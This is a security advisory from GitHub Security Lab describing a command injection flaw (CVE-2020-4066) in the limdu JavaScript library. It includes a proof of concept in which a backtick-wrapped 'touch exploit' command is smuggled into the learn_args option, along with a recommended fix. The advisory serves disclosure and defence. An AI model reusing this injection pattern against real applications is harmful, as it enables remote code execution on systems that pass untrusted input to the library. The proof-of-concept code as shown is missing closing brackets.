skip to content
Back to
Home Research Advisories CodeQL Wall of Fame Get Involved Events
September 24, 2020

GHSL-2020-113: Command injection vulnerability in limdu - CVE-2020-4066

Kevin Backhouse


The trainBatch function has a command injection vulnerability. Clients of the Limdu library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.



Tested Version

Commit 87f8647


Issue 1: Command injection in trainBatch

The following proof-of-concept illustrates the vulnerability. First install Limdu:

npm install limdu

Now create a fake binary and put it on the path:

mkdir tmp
ln -s `which echo` tmp/liblinear_train

Now create a Javascript file with the following code:

var limdu = require('limdu');

var classifier = new limdu.classifiers.EnhancedClassifier({
	classifierType: limdu.classifiers.multilabel.BinaryRelevance.bind(0, {
		binaryClassifierType: limdu.classifiers.SvmLinear.bind(0, 	{
			learn_args: "-c 20.0 `touch exploit`" 
	featureExtractor: limdu.features.NGramsOfWords(1),
	featureLookupTable: new limdu.features.FeatureLookupTable()

	{input: "I want an apple", output: "apl"},
	{input: "I want a banana", output: "bnn"}

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.


This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.


We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.



Coordinated Disclosure Timeline


This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).


You can contact the GHSL team at, please include GHSL-2020-113 in any communication regarding this issue.